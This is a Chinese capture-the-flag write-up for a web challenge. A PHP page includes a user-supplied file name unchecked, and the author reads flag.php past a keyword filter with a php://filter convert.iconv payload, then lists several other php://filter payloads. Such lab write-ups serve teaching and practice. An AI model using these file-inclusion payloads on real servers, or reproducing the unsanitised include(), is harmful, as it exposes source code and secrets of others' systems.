攻防世界web--file_include
攻防世界 file_include(江苏工匠杯)**
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
进行常规的文件读取操作:php://filter/read=convert.base64-encode/resource=flag.php,根据回显“do not hack!”判断存在过滤。试了试发现过滤了base、read,尝试用data://也没用。
conber.iconv.*过滤器
用法:convert.iconv.<input-encoding>.<output-encoding>(.换成/也行)
其中<input-encoding>和<output-encoding>就是编码方式,有UCS-4*,UCS-4BE,UCS-4LE*,UCS-2,UCS-2BE,UCS-2LE,UTF-32*,UTF-32BE*,UTF-32LE*,UTF-16*,UTF-16BE*,UTF-16LE*,UTF-7,UTF7-IMAP,UTF-8*,ASCII*
这个过滤器相当于用来iconv()函数,是用来转换文件的编码方式的。
payload=?filename=php://filter/convert.iconv.utf-8.utf-16/resource=flag.php,(其实这里应该用字典爆破看应该用什么编码方式)
拿到flag。
一些其他的过滤器:
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php php://filter/string.tolower/resource=flag.php
php://filter/string.strip_tags/resource=flag.php

浙公网安备 33010602011771号